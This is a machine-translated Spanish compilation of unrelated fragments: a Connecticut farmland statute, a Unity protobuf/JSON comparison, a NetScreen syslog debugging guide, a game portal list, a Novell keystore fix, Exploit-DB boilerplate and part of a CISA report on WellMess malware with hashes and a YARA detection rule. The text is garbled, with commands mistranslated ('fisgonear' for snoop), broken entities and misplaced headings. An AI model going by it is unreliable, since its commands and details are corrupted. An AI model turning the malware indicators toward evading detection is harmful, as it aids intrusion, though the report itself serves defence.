(b) Al momento de la adquisición por parte del comisionado de los derechos de desarrollo de tierras agrícolas, dicho comisionado hará que se registre en los registros de tierras correspondientes y en la oficina del Secretario de Estado una notificación de dicha adquisición, la cual deberá establecer una descripción. de la tierra agrícola, lo que será suficiente para dar aviso de tal restricción a cualquier posible comprador de dicha tierra agrícola o al acreedor del propietario de la misma. Tras la presentación de la notificación, como se mencionó anteriormente, no se le permitirá al propietario de dicha tierra agrícola ejercer derechos de desarrollo con respecto a dicha tierra, y dichos derechos de desarrollo se considerarán y se considerarán dedicados al estado a perpetuidad, excepto según se disponga más adelante. Si se va a vender un terreno restringido, el antiguo propietario notificará por escrito al comisionado de dicha venta inminente no más de noventa días antes de la transferencia del título del terreno y le proporcionará el nombre y la dirección del nuevo propietario.

(c) El comisionado no tendrá poder para liberar tal tierra de su restricción agrícola, excepto como se establece en este inciso. El comisionado, en consulta con el Comisionado de Protección Ambiental y los grupos asesores que designe el Comisionado de Agricultura, puede aprobar (1) una petición del propietario de la tierra agrícola restringida para eliminar dicha restricción siempre que dicha petición sea aprobada por resolución de el cuerpo legislativo de la ciudad, o (2) una petición del cuerpo legislativo de la ciudad en la que se encuentra dicho terreno para eliminar tal restricción siempre que dicha petición sea aprobada por escrito por dicho propietario. Tras la aprobación de tal petición por parte del comisionado, el cuerpo legislativo de la ciudad someterá a los votantes calificados de dicha ciudad la cuestión de eliminar la restricción agrícola de dicha tierra o una parte de ella, en un referéndum celebrado en una elección regular o una Elecciones especiales advirtieron y convocaron a tal efecto. En el caso de que la mayoría de los votantes en dicho referéndum estén a favor de tal remoción, la restricción será removida de la tierra agrícola una vez que se registren los resultados certificados de dicho referéndum en los registros de tierras y en la oficina del Secretario de Estado. y el comisionado transmitirá los derechos de desarrollo a dicho propietario siempre que dicho propietario le pague al comisionado una cantidad igual al valor de dichos derechos. Dicha petición establecerá los hechos y circunstancias sobre los cuales el comisionado considerará la aprobación, y dicho comisionado negará tal aprobación a menos que determine que el interés público es tal que existe una necesidad imperiosa de ceder el control de los derechos de desarrollo. El comisionado celebrará al menos una audiencia pública antes del inicio de cualquier procedimiento en virtud del presente. Los gastos, si los hubiere, de la audiencia y del referéndum correrán a cargo del peticionario. En caso de que el Estado venda algún derecho de desarrollo bajo el procedimiento dispuesto en este inciso, recibirá el valor de dichos derechos.

(d) Siempre que el comisionado adquiera los derechos de desarrollo de cualquier terreno agrícola y el precio de compra de dichos derechos de desarrollo sea de diez mil dólares o más, dicho comisionado y el propietario de dicho terreno podrán celebrar un acuerdo escrito que disponga el pago de la precio de compra en dos o tres cuotas anuales, pero no se pagarán intereses sobre ningún saldo impago de dicho precio de compra.

(e) Siempre que el comisionado adquiera los derechos de desarrollo de cualquier terreno agrícola, y cualquier municipio en el que esté situado todo o parte del terreno pague una parte del precio de compra de un fondo establecido de conformidad con la sección 7-131q, dicho municipio y el El estado puede ser propietario conjunto de los derechos de desarrollo, siempre que la propiedad conjunta de dicho municipio se limite a la tierra dentro de sus límites. La tierra podrá liberarse de su restricción agrícola de acuerdo con las disposiciones del inciso (c) de esta sección. El comisionado adoptará un reglamento de acuerdo con las disposiciones del capítulo 54 que establezcan procedimientos para la adquisición conjunta de derechos de desarrollo de tierras agrícolas.

(f) La adquisición de los derechos de desarrollo de cualquier tierra agrícola por parte del comisionado no se considerará propiedad de dicha tierra y el estado no será responsable de la contaminación de dicha tierra y ninguna persona podrá entablar una acción civil contra el Estado por los daños resultantes de la polución o contaminación de dichas tierras agrícolas.

(g) El comisionado puede emitir una carta de intención solicitando la asistencia de una organización sin fines de lucro, como se define en [ subsección (c) (3) de la Sección 501 del Código de Rentas Internas de los Estados Unidos ] Sección 501 (c) (3) del Código de Rentas Internas de 1986, o cualquier código de rentas internas correspondiente subsiguiente de los Estados Unidos, según sea enmendado de vez en cuando, en la adquisición de derechos de desarrollo sobre determinadas tierras agrícolas. Si dicha organización adquiere tales derechos, puede venderlos al comisionado sobre la base de un acuerdo de compra. Dicho acuerdo puede incluir el reembolso de los gastos razonables incurridos en la adquisición de los derechos, así como el pago de los derechos. El comisionado puede celebrar acuerdos de propiedad conjunta para adquirir los derechos de desarrollo de cualquier tierra agrícola calificada con cualquier organización sin fines de lucro, como se define en la Sección 501 (c) (3) del Código de Rentas Internas de 1986, o cualquier código de ingresos interno correspondiente subsiguiente de Estados Unidos, según se modifique de vez en cuando, siempre que la misión de dicha organización sin fines de lucro sea la protección permanente de la tierra agrícola con el propósito de continuar con el uso agrícola.

(h) Además de los derechos de desarrollo, el comisionado puede adquirir o aceptar como obsequio los derechos del propietario para construir residencias o estructuras agrícolas en terrenos agrícolas.

(i) El Comisionado de Agricultura, de conformidad con cualquier acuerdo de cooperación con el Departamento de Agricultura de los Estados Unidos para el desembolso de fondos bajo la ley federal, puede requerir que cualquier propiedad sobre la cual se adquieran derechos bajo esta sección con dichos fondos sea administrada de acuerdo con con un plan de conservación que utiliza los estándares y especificaciones de la guía técnica de la oficina de campo del Servicio de Conservación de Recursos Naturales y está aprobado por dicho servicio. Cualquier instrumento mediante el cual el comisionado adquiera dichos derechos y para el cual se utilicen dichos fondos puede proporcionar un derecho contingente en los Estados Unidos de América en caso de que el estado de Connecticut no haga cumplir cualquiera de los términos de sus derechos adquiridos en virtud de este sección cuya falla será determinada por el Secretario de Agricultura de los Estados Unidos. Tal derecho contingente dará derecho al secretario a hacer cumplir cualquier derecho adquirido por el estado bajo esta sección por cualquier autoridad provista por la ley. Dicho instrumento podrá disponer que dichos derechos se conferirán a los Estados Unidos de América en caso de que el estado de Connecticut intente rescindir, transferir o de otro modo deshacerse de tales derechos sin el consentimiento previo del Secretario de Agricultura de los Estados Unidos y el pago. de consideración para los Estados Unidos y podrá además disponer que la titularidad de tales derechos puede ser mantenida por los Estados Unidos de América en cualquier momento a solicitud del Secretario de Agricultura de los Estados Unidos. En relación con dicho acuerdo, el comisionado puede eximir de responsabilidad a los Estados Unidos de cualquier acción basada en negligencia en la obtención o administración de cualquier derecho adquirido bajo esta sección y puede asegurar que se asegure la evidencia apropiada del título, que el título esté asegurado al monto del costo federal pagado por los intereses de los Estados Unidos de América y que, en caso de incumplimiento del título, según lo determine un tribunal de jurisdicción competente, y el pago del seguro al estado, el estado reembolsará a los Estados por el monto del costo federal pagado.

(j) El comisionado, al adquirir los derechos de desarrollo de cualquier tierra agrícola en nombre del estado, puede incorporar requisitos de escritura de acuerdo con las disposiciones del Programa federal de protección de tierras de granjas y ranchos, 7 CFR 1491.1, et seq ..

Esta ley entrará en vigor de la siguiente manera y modificará los siguientes apartados:


Unity protobuf frente a JSON

¿Qué es protobuf?
Protobuffer (búfer protocal) es un formato de intercambio de datos de Google. Se basa en binario, lenguaje cruzado y plataforma cruzada.

Usando protobuf en la unidad
Hay dos maneras:
1. Importe el paquete de recursos protobuf net dedicado a unity y defina el objeto con código C.
2. Configure el entorno protobuf de. Net y defina el objeto con el nativo. Archivo proto.

Ésta es la primera prueba.
Enlace Protobuf-net.unitypackage: https://pan.baidu.com/s/1dbd4… Código de extracción: TRL4

Encapsulación de código de análisis de Protobuf:

material de referencia:
Cómo usar unity3d protobuf net https://www.cnblogs.com/mrblu
Usando protobuf net en la unidad https://blog.csdn.net/kenkao/
El proceso de uso de protobuf https://www.cnblogs.com/guxin

¿Qué es JSON?
JSON (notación de objetos JavaScript) es un formato de intercambio de datos ligero basado en texto, idiomas cruzados y plataformas cruzadas.
JSON es simple y fácil de leer y escribir.

Un JSON simple:

material de referencia:
Tutorial de JSON https://segmentfault.com/a/11

Protobuf frente a JSON

Objeto de prueba:

Resultados de la prueba:
Protobuf es más pequeño que JSON.
De otras referencias y resultados de pruebas, protobuf es más rápido y más pequeño que JSON. JSON es más legible y fácil de usar que protobuf.

Análisis de resultados:
Protobuf se basa en binario y JSON se basa en formato de texto. En principio, protobuf será más rápido y más pequeño.
Sin embargo, JSON se ha desarrollado durante mucho tiempo. Es más utilizado, con muchos proyectos y bibliotecas de clases. Algunas bibliotecas se han optimizado profundamente y la velocidad es muy rápida. En algunos detalles, el rendimiento no es inferior o incluso mejor que protobuf.
Usar algunos detalles altamente optimizados para comparar el rendimiento de JSON y protobuf no es objetivo. En general, protobuf tiene un rendimiento mucho más alto que JSON, desde varias veces hasta diez veces.

¿Cómo elegir entre Jason y protobuf?
Los niños hacen preguntas de opción múltiple y los adultos las hacen todas.
Consejo personal: use JSON cuando no sea sensible al tamaño y el rendimiento, y protobuf cuando sea sensible.
Por ejemplo, al escribir archivos de configuración localmente, JSON es fácil de leer y modificar. Protobuf se utiliza para reducir la cantidad de datos.

material de referencia:
& # 8220Evaluación completa: ¿el rendimiento de protobuf es cinco veces más rápido que JSON? 》 Https://blog.csdn.net/xiaoxia…

Chisme:
En la era de la explosión de la información, con el rápido desarrollo de la tecnología de Internet, siempre habrá una variedad de nuevas tecnologías y herramientas, que es la tendencia general y no se puede detener.
Si algún día hay un formato de datos que sea más conveniente que JSON y más pequeño que protobuf, no me sorprenderé, pero estaré feliz.
Es bueno para nosotros aceptar este cambio. La aparición de estas nuevas tecnologías y herramientas hace que nuestro trabajo sea más conveniente, eficiente y poderoso.
Por supuesto, estas nuevas tecnologías y herramientas también necesitan que dediquemos más tiempo a comprender, familiarizar y dominar. Toma la esencia y quita la escoria.

En cuanto al formato de los datos, ha abierto la puerta a un mundo nuevo desde el primer contacto con XML, al asombro de ver JSON, a la curiosidad de conocer protobuf.
Se encuentra que todos estos formatos de datos se implementan para completar algunas funciones especiales. El entorno de la aplicación es diferente, cada uno tiene sus propias ventajas y desventajas. Es difícil reemplazarlos por completo, por lo que es mejor elegir el más adecuado.
Básicamente hay dos categorías:
1. Fácil de usar
2. Conveniente para la transmisión de la red
El primer formato de datos, que es conveniente para las personas, tiende a ser una sintaxis más concisa, principalmente basada en el formato de texto, para que la gente lo lea.
El segundo formato de datos, que es conveniente para la transmisión de red, tiende a ser más pequeño y se lee en la computadora.

El primer formato puede que algún día se convierta en un lenguaje universal en todo el mundo. Es más fácil de entender que el inglés ahora. No es tan difícil aprender los números arábigos del 0 al 9. Incluso se puede utilizar como lenguaje para la iluminación de los niños.
El segundo formato evolucionará para representar objetos completamente basados ​​en bits binarios. Los datos son extremadamente compactos, el volumen es muy pequeño, básicamente no hay datos basura y no hay espacio comprimido.
PD: autor Zhang Yu 2019-07-25 para ver cuántos años le tomará a los seres humanos darse cuenta de estos dos formatos.


22.6E: Ejercicios

Busque en nuestros sitios de la Base de conocimientos para encontrar respuestas a sus preguntas.

¿Cómo confirmar que el firewall está enviando información de syslog a un servidor externo?

Id. Del artículo: KB4852 KB Última actualización: 28 de junio de 2010 Versión: 4.0 Resumen:

Para confirmar que el firewall está enviando los syslog a la ubicación correcta, use snoop y / o debug syslog para ver los paquetes que realmente se están transmitiendo.

(Recuerde: Snoop proporciona una vista de la capa 2 a la capa 4 del paquete a medida que entra y sale de las interfaces NetScreen. La depuración, por otro lado, proporciona información de flujo sobre el paquete a medida que atraviesa las interfaces del dispositivo NetScreen).

A continuación se muestran ejemplos de instrucciones de configuración y salida. Tenga en cuenta que snoop y debug se ejecutan desde el indicador CLI del firewall.

  1. Cree un filtro snoop para capturar la información del paquete syslog
    filtro snoop ip dst-port 514 & gt
  2. Establecer la longitud del paquete para mostrar
    snoop detalle len 1514
  3. Habilite la captura de los detalles de fisgoneo
    detalle fisgón
  4. Habilitar espionaje
    fisgonear
    Responda S o presione Intro cuando aparezca el mensaje & quotIniciar Snoop, escriba ESC o 'Snoop off' para detener, ¿continuar? & Quot.
  5. Habilite la depuración de los paquetes syslog
    depurar syslog todo
  6. Limpiar el búfer de depuración
    cl db
  7. Genere un evento de registro, como iniciar sesión en el dispositivo de firewall a través de WebUI
  8. Presione la tecla & ltESC & gt para detener la captura o ingresar
    fisgonear
    undebug syslog
  9. Mostrar el flujo de búfer de depuración
    obtener db s & gt

La siguiente información se mostró en la consola:

## 10:39:13: syslogmsg: NetScreen device_id = Kats_NS5GT [Root] system-warning-00519: El usuario administrador & quotnetscreen & quot inició sesión para la administración Web (http) (puerto 80) desde el 10.24.28.111:1407 (2005-10-06 10:39:13)
## 10:39:13: syslog fac -1 nivel 4
## 10:39:13 : enviando un mensaje de syslog a 10.24.28.111/514 (173) NetScreen device_id = Kats_NS5GT [Root] system-warning-00519: El usuario administrador & quotnetscreen & quot inició sesión para la gestión web (http) (puerto 80) desde el 10.24.28.111:1407 (2005-10-06 10:39:13)

255444.0: 1 (o): 0010db3b1351- & gt001125d6155e / 0800
172.24.29.109- & gt172.24.28.111/ 17, tlen = 219
vhl = 45, tos = 00, frag = 0000, ttl = 64
udp: puertos 2368- y gt514, len = 199
00 11 25 d6 15 5e 00 10 db 3b 13 51 08 00 45 00 ..% .. ^. .Q..E.
00 db 69 63 00 00 40 11 7e a2 ac 18 1d 6d ac 18 ..ic .. @.


Portales

Hacia Holtburg

Localización Coords Destino Coords Restricciones
Red de la ciudad Aluvian (norte) Holtburg 42,1N, 33,6E Ninguno

Además, se puede llegar a Holtburg a través de las gemas de portal de Holtburg que se venden en los archimagos de cada una de las 9 ciudades iniciales originales y en los archimagos maestros.

De Holtburg

Localización Coords Destino Coords Restricciones
Holtburg 42,3 N, 33,3E Red de la ciudad -- Ninguno
Fundición de maniquíes 42,7N, 33,5E Nanto 52,2S, 82,5E Ninguno

Además, el archimago local vende gemas de portal en los siguientes lugares: Al-Arqas, Holtburg, Lytelthorpe, Nanto, Rithwic, Samsur, Shoushi, Xarabydun, Yanshi y Yaraq.


El certificado SSL caduca en su controlador SOAP

Recientemente estuve trabajando en un controlador SOAP que se conecta a Salesforce.com para sincronizar objetos en ambos canales.

Puede leer más sobre cómo podría construir un controlador de este tipo para usted en esta serie de artículos en los que estoy trabajando:

Bueno, las cosas iban bien, y nuestro primer laboratorio de desarrollo se había quedado solo durante una semana o tres y cuando fui a buscar un fragmento de seguimiento para mostrar a los chicos que estaban construyendo la próxima versión de desarrollo del laboratorio desde cero, encontré lo siguiente error:

Oh querido. Eso no puede ser bueno. Como es habitual con SSL y certificados, el problema probablemente sea más complejo de lo que debería ser y, en general, es confuso. Así que tomé notas detalladas a medida que avanzaba en el proceso de solución de problemas y resolución de este problema, y ​​permítame seguir el proceso que realicé, de modo que, si bien esto puede no resolver el problema específico que tiene, los pasos que tomé a lo largo del camino podrían servir. como una pista para que apunte en la dirección correcta para resolver su problema específico.

Bueno, lo primero que debe hacer al observar un problema de este tipo, veamos si hay más datos en el seguimiento del cargador remoto. Oh sí, ¿mencioné que el controlador se está ejecutando con una instancia de cargador remoto? Detalles, detalles.

Si estuviera ejecutando el controlador SOAP en el motor, entonces este rastreo y error específicos estarían en el rastreo del motor, pero como estamos usando un cargador remoto, está en el rastreo del cargador remoto.

Si no sabe o no entiende cómo leer el rastreo para Identity Manager, entonces debería leer esta increíble serie sobre el tema de Fernando Frietas, que trabaja en el Soporte técnico de Novell:

El seguimiento del cargador remoto muestra:

Hmm, no hay certificado de confianza. Ok, entonces, ¿por qué sería esto? Primero, veamos los certificados en sí.

SOAP generalmente se transporta a través de HTTP, lo que significa que también puedo mirar la URL a la que intenta conectarse, https://tapp0-api.salesforce.com y ver lo que dice mi navegador sobre los certificados.

Mirándolo en Firefox 3.6.x, veo que hay tres certificados en la cadena de certificación. Hay un certificado de Verisign principal, un certificado intermedio y un certificado de sitio recién creado para tapp0-api.salesforce.com

¡Ah ah! SFDC cambió su certificado tapp0-appi.salesforce.com el 19 de agosto.

Bien encontrado la causa raíz. Vamos a tomar un café. No, espera, ¿cómo solucionamos esto?

Bueno, si no hay un certificado de confianza, eso significa que la JVM en uso no confía en el certificado de firma. Bueno, ¿qué almacén de claves está usando la JVM? Bueno, tengo uno en el directorio del motor, así que déjame intentar verlo con keytool, la herramienta para examinar los archivos del almacén de claves. Ahora, dependiendo de su servidor, es posible que esto no esté en la ruta. Desea utilizar la herramienta de claves de la misma instancia de JVM que utiliza Identity Manager, de modo que no haya problemas de versión o compatibilidad. Bueno, el motor IDM lo almacena en una ruta que se ve así en una instalación de eDirectory de 64 bits / IDM de 64 bits:
/ opt / novell / eDirectory / lib64 / nds-modules / jre / bin / keytool

En una instalación de eDirectory de 32 bits / IDM de 32 bits, la ruta sería más parecida a la siguiente:

Tenga en cuenta que la diferencia de lib y lib64 es la diferencia clave.

Usemos el modificador -list y -v para verbose y vemos:

Ok, ese almacén de claves claramente no es el correcto. ¿Quizás es el almacén de certificados predeterminado en la JVM? Este es el archivo cacerts, en el directorio principal de JVM y luego en lib / security. La contraseña predeterminada suele ser & # 39changeit & # 39 o & # 39default & # 39, lo cual es bueno saberlo.

En una caja eDirectory de 64 bits, esto:

En una caja eDirectory de 32 bits sería:

Entonces, el comando en 64 bits sería:

/ opt / novell / eDirectory / lib64 / nds-modules / jre / bin / keytool -list -v -keystore
/ opt / novell / eDirectory / lib64 / jre / lib / security / cacerts

A estas alturas ya debería poder averiguar cómo cambiar eso para eDirectory de 32 bits.

Ahora hay 51 certificados raíz de confianza en ese archivo, así que lo envié a un archivo y lo busqué por el número de serie de la CA principal que veo en Firefox, y lo veo allí:

Desde la vista del certificado en Firefox, veo que el número de serie es: 70: BA: E4: 1D: 10: D9: 29: 34: B6: 38: CA: 7B: 03: CC: BA: BF que es el mismo que en el archivo de almacén de claves cacerts.

Bien, tenemos la clave pública de CA raíz principal correcta en nuestra lista de tiendas de confianza. ¿Qué tiene sentido ya que todos confiamos en VeriSign, verdad?

Entonces, ¿necesitamos el certificado intermedio? Que no se encuentra actualmente en el archivo cacerts.

El certificado intermedio es Verisign, Inc, con SN de: 25: 4B: 8A: 85: 38: 42: CC: E3: 58: F8: C5: DD: AE: 22: 6E: A4 y no lo veo en el archivo cacerts.

Antes de ir más allá, noté que mi archivo de seguimiento del cargador remoto había alcanzado los 2 GB de tamaño, y me encontré con un problema donde suceden cosas divertidas cuando el registro alcanza su tamaño completo, así que intenté reiniciar el motor y el cargador remoto. (después de archivar el archivo de registro). Pero todavía no hay alegría.

Mientras estuve en esa táctica de factor externo, decidí probar con soapUI, que configuré con el WSDL de Salesforce.com y solía probar muchas de las cosas de SOAP que necesitaba hacer. soapUI en un enlace exitoso dice este segmento a continuación para obtener información sobre el certificado en una conexión exitosa. Observo que no tiene la cadena de tres partes, solo las 2 inferiores, ignorando el certificado Verisign principal que ya tenemos en cacerts, sino que es el certificado intermedio en la cadena que muestra Firefox

Por lo tanto, cada vez parece más que necesito que se confíe en el certificado intermedio ahora.

Usé Firefox e hice clic en el pequeño botón junto a la parte https: // de la barra de URL para examinar la información del certificado. Esto me permitió ver la cadena de certificados y, para cada uno de los tres pasos, elegí exportar la información de la clave pública a un archivo CRT. Es lo mismo que un PEM, que es un formato binario que contiene la clave pública. (El controlador de Active Directory lo quiere en formato codificado Base 64, que es el archivo .der, .pem o .crt codificado en base64).

Estaba a punto de comenzar a importarlo en el archivo cacerts básico, cuando recordé que esta es una instancia de cargador remoto, que no se ejecuta en la instancia del controlador y, por lo tanto, estaba buscando en el lugar equivocado.

Bueno, ¿dónde está el almacén de claves del cargador remoto? Mire la Configuración del controlador, el canal del suscriptor para ver la siguiente configuración:

Vayamos al servidor Remote Loader, busquemos el archivo / var / opt / novell / dirxml / rdxml / FirstKeystore y mírelo con keytool:

Con -v, verá que acaba de caducar (8 de septiembre). UPS:

No estoy seguro de por qué la fecha de creación de este certificado es el 19 de agosto de 2010, que es cuando el certificado del sitio expiró y se volvió a crear.

Independientemente, parece que este es el problema básico, así que copiemos ese archivo CRT exportado (pem, der. Lo que sea) en este cuadro SLES, llamémoslo VeriSign.crt

Ahora, ¿dónde está la máquina virtual en el servidor de carga remota? No es la misma ruta que en el servidor de IDM Engine. Bueno, hay un script create_keystore, en / opt / novell / dirxml / bin que si lo lees verás dos cosas interesantes.

Primero, la ruta a keytool está pensando más en el caso de un servidor de motor, como puede ver en este bloque de código:

Puede ver que quiere usar la ruta para el motor, como discutimos anteriormente. Entonces, cuando intenté ejecutar el script, no se informó el error de que no se encontró ningún ejecutable de Java keytool.

Pero la segunda parte es más útil, donde ves el comando keytool que quieren que ejecutes:

Lo importante es que -storepass no es el & # 39changeit & # 39 o & # 39default & # 39 habitual que utilizan la mayoría de los almacenes de claves, sino que utiliza & # 39dirxml & # 39.

Poniendo todo eso junto, el comando que necesito ejecutar es:

/ opt / novell / java / bin / keytool -import -alias tapp0 -file VeriSign.crt -keystore

/ var / opt / novell / dirxml / rdxml / SecondKeystore -storepass dirxml

Usé SecondKeystore, por lo que pude mantener una copia de seguridad de FirstKeystore, y luego moví los archivos y reinicié el cargador remoto, y ¡vaya, comenzó a funcionar!

Por lo tanto, como es habitual para SSL, no se trataba de un simple caso de un solo certificado, sino que había tres involucrados. Uno estaba bien y ya estaba incluido (padre CA). Otro no fue relevante, el certificado del sitio, ya que eso puede cambiar y esto es normal. Por lo tanto, NO queremos importar su clave pública, porque definitivamente tendríamos que cambiarla cuando cambie el certificado. Finalmente el problema fue el tercer certificado, el certificado intermedio que había caducado y fue cambiado.

Para empeorar las cosas, parece que Verisign usó una CA intermedia que vence en 2011, pero luego acuñó certificados que vencen en 2012. Lo que parece un poco extraño. Me imagino que volveremos a hacer esto en octubre de 2011. Oh bien. Me mantiene empleado.


Control ActiveX de Microsoft Speech API (Windows 2000 SP4) - Desbordamiento de búfer remoto (MS07-033)

La base de datos de exploits es mantenida por Offensive Security, una empresa de capacitación en seguridad de la información que proporciona varias certificaciones de seguridad de la información, así como servicios de pruebas de penetración de alto nivel. Exploit Database es un proyecto sin fines de lucro que Offensive Security proporciona como servicio público.

La base de datos de exploits es un archivo compatible con CVE de exploits públicos y el software vulnerable correspondiente, desarrollado para su uso por probadores de penetración e investigadores de vulnerabilidades. Nuestro objetivo es servir la colección más completa de exploits recopilada a través de envíos directos, listas de correo y otras fuentes públicas, y presentarlas en una base de datos de fácil navegación y disponible de forma gratuita. La base de datos de exploits es un repositorio de exploits y pruebas de conceptos en lugar de avisos, lo que la convierte en un recurso valioso para quienes necesitan datos procesables de inmediato.

La base de datos de piratería de Google (GHDB) es un índice categorizado de consultas de motores de búsqueda de Internet diseñado para descubrir información interesante y, por lo general, confidencial que se pone a disposición del público en Internet. En la mayoría de los casos, esta información nunca tuvo la intención de hacerse pública, pero debido a una serie de factores, esta información se vinculó en un documento web que fue rastreado por un motor de búsqueda que posteriormente siguió ese enlace e indexó la información confidencial.

El proceso conocido como "Google Hacking" fue popularizado en 2000 por Johnny Long, un pirata informático profesional, que comenzó a catalogar estas consultas en una base de datos conocida como Google Hacking Database. Sus esfuerzos iniciales se vieron amplificados por innumerables horas de esfuerzo de los miembros de la comunidad, documentados en el libro Google Hacking For Penetration Testers y popularizados por una avalancha de atención de los medios y las charlas de Johnny sobre el tema, como esta primera charla grabada en DEFCON 13. Johnny acuñó el término "Google" para referirse a "una persona tonta o inepta según lo revelado por Google". Con esto se pretendía llamar la atención sobre el hecho de que no se trataba de un "problema de Google", sino más bien el resultado de una configuración incorrecta a menudo involuntaria por parte de un usuario o un programa instalado por el usuario. Con el tiempo, el término "idiota" se convirtió en la abreviatura de una consulta de búsqueda que localizó información confidencial y los "idiotas" se incluyeron en muchas versiones de vulnerabilidades de aplicaciones web para mostrar ejemplos de sitios web vulnerables.

Después de casi una década de arduo trabajo por parte de la comunidad, Johnny entregó el GHDB a Offensive Security en noviembre de 2010, y ahora se mantiene como una extensión de Exploit Database. Hoy en día, la GHDB incluye búsquedas para otros motores de búsqueda en línea como Bing y otros repositorios en línea como GitHub, que producen resultados diferentes pero igualmente valiosos.


22.6E: Ejercicios

Este informe se proporciona & # 8220 como es & # 8221 únicamente con fines informativos. El Departamento de Seguridad Nacional (DHS) no ofrece ninguna garantía de ningún tipo con respecto a la información contenida en este documento. El DHS no respalda ningún producto o servicio comercial mencionado en este boletín o de otro modo.

Este documento está marcado como TLP: BLANCO & # 8211 La divulgación no está limitada. Las fuentes pueden usar TLP: WHITE cuando la información conlleva un riesgo mínimo o nulo de mal uso, de acuerdo con las reglas y procedimientos aplicables para la divulgación pública. Sujeto a las reglas estándar de derechos de autor, la información de TLP: WHITE puede distribuirse sin restricciones. Para obtener más información sobre el Protocolo de semáforo (TLP), consulte http://www.us-cert.gov/tlp.

Resumen

Descripción

El Informe de análisis de malware (MAR) es el resultado de los esfuerzos analíticos de la Agencia de Seguridad de Infraestructura y Ciberseguridad (CISA). Este malware se ha identificado como WELLMESS. Se han identificado grupos de amenazas persistentes avanzadas (APT) utilizando este malware. Para obtener más información sobre este malware, visite: https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development

Este informe analiza seis archivos únicos. Los archivos son variantes de la familia de malware conocida como & # 8220WellMess & # 8221. Estos implantes permiten a un operador remoto establecer sesiones de comando y control (C2) cifradas y pasar y ejecutar scripts de forma segura en un sistema infectado.

Las muestras de WellMess incluyen un ejecutable de Windows de 32 bits y cinco archivos de formato ejecutable y enlazable (ELF) escritos en Go, un lenguaje de programación de código abierto. El informe incluye el análisis de una aplicación .NET compilada extraída de uno de los ejecutables de Windows de 32 bits.

Los ejecutables ELF y Windows de 32 bits tienen una funcionalidad similar, ambos recopilan el estado de los privilegios del sistema (desactivados o activados) del sistema infectado y cifran los datos a través de un algoritmo de cifrado Rivest 6 (RC6), y luego generan dinámicamente el Estándar de cifrado avanzado (AES) claves, que se intercambian a través de un esquema de transferencia de claves segura Rivest & ndashShamir & ndashAdleman (RSA). Ambas versiones también permiten que un operador pase scripts ejecutables cifrados con AES a los sistemas infectados.

Para obtener una copia descargable de los IOC, consulte MAR-10296782-2.v1.stix.

Archivos enviados (6)
Archivos adicionales (1)
IPs (5)

Recomendaciones

953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a

Detalles
Nombre 953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
Tamaño 172032 octetos
Tipo PE32 ejecutable (GUI) Ensamblaje Intel 80386 Mono / .Net, para MS Windows
MD5 f18ced8772e9d1a640b8b4a731dfb6e0
SHA1 92f7b470c5a2c95a4df04c2c5cd50780f6dbdda1
SHA256 953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a
SHA512 c4ac5332ee27b3da002c8a55a1e99aefeb503a69b8eb1ce9310bcb12131d56d2efe70f50942461ec9e7c628e3d1a5f13c92faa6bb6b1c263acbe4a1af977ad50
ssdeep 1536: Lo7PHWHfGE50u3J0cMuNJdbOYOL68q4ATMMx4pnMgqZ5C / yOCy2UpiPKsNoeIlnt: E7PHwJdbJOOvkuC / yOH2CiP0ie1XF
Entropía 3.887546
Antivirus
BitDefender Gen: Variant.Razy.279280
ClamAV Win.Trojan.WellMess-6706033-0
Emsisoft Gen: Variant.Razy.279280 (B)
McAfee GenéricoRXEI-SR! F18CED8772E9
NANOAV Trojan.Win32.WellMess.fignvr
Sanar rapido Trojan.Wellmess
Reglas YARA
  • regla CISA_10296782_01: troyano BIENESTAR
    <
    meta:
    Autor = & # 8220 Código CISA & amp; Análisis de medios & # 8221
    Fecha = & # 82202020-07-06 & # 8221
    Last_Modified = & # 822120200706_1017 & # 8243
    Actor = & # 8221n / a & # 8221
    Categoría = & # 8221Troyano & # 8221
    Familia = & # 8221WellMess & # 8221
    Descripción = & # 8220Detecta el implante WellMess y SangFor Exploit & # 8221
    MD5_1 = & # 82204d38ac3319b167f6c8acb16b70297111 & # 8221
    SHA256_1 = & # 82207c39841ba409bce4c2c35437ecf043f22910984325c70b9530edf15d826147ee & # 8221
    MD5_2 = & # 8220a32e1202257a2945bf0f878c58490af8 & # 8221
    SHA256_2 = & # 8220a4b790ddffb3d2e6691dcacae08fb0bfa1ae56b6c73d70688b097ffa831af064 & # 8221
    MD5_3 = & # 8220861879f402fe3080ab058c0c88536be4 & # 8221
    SHA256_3 = & # 822014e9b5e214572cb13ff87727d680633f5ee238259043357c94302654c546cad2 & # 8221
    MD5_4 = & # 82202f9f4f2a9d438cdc944f79bdf44a18f8 & # 8221
    SHA256_4 = & # 8220e329607379a01483fc914a47c0062d5a3a8d8d65f777fbad2c5a841a90a0af09 & # 8221
    MD5_5 = & # 8220ae7a46529a0f74fb83beeb1ab2c68c5c & # 8221
    SHA256_5 = & # 8220fd3969d32398bbe3709e9da5f8326935dde664bbc36753bd41a0b111712c0950 & # 8221
    MD5_6 = & # 8220f18ced8772e9d1a640b8b4a731dfb6e0 & # 8221
    SHA256_6 = & # 8220953b5fc9977e2d50f3f72c6ce85e89428937117830c0ed67d468e2d93aa7ec9a & # 8221
    MD5_7 = & # 82203a9cdd8a5cbc3ab10ad64c4bb641b41f & # 8221
    SHA256_7 = & # 82205ca4a9f6553fea64ad2c724bf71d0fac2b372f9e7ce2200814c98aac647172fb & # 8221
    MD5_8 = & # 8220967fcf185634def5177f74b0f703bdc0 & # 8221
    SHA256_8 = & # 822058d8e65976b53b77645c248bfa18c3b87a6ecfb02f306fe6ba4944db96a5ede2 & # 8221
    MD5_9 = & # 8220c5d5cb99291fa4b2a68b5ea3ff9d9f9a & # 8221
    SHA256_9 = & # 822065495d173e305625696051944a36a031ea94bb3a4f13034d8be740982bc4ab75 & # 8221
    MD5_10 = & # 822001d322dcac438d2bb6bce2bae8d613cb & # 8221
    SHA256_10 = & # 82200c5ad1e8fe43583e279201cdb1046aea742bae59685e6da24e963a41df987494 & # 8221
    MD5_11 = & # 82208777a9796565effa01b03cf1cea9d24d & # 8221
    SHA256_11 = & # 822083014ab5b3f63b0253cdab6d715f5988ac9014570fa4ab2b267c7cf9ba237d18 & # 8221
    MD5_12 = & # 8220507bb551bd7073f846760d8b357b7aa9 & # 8221
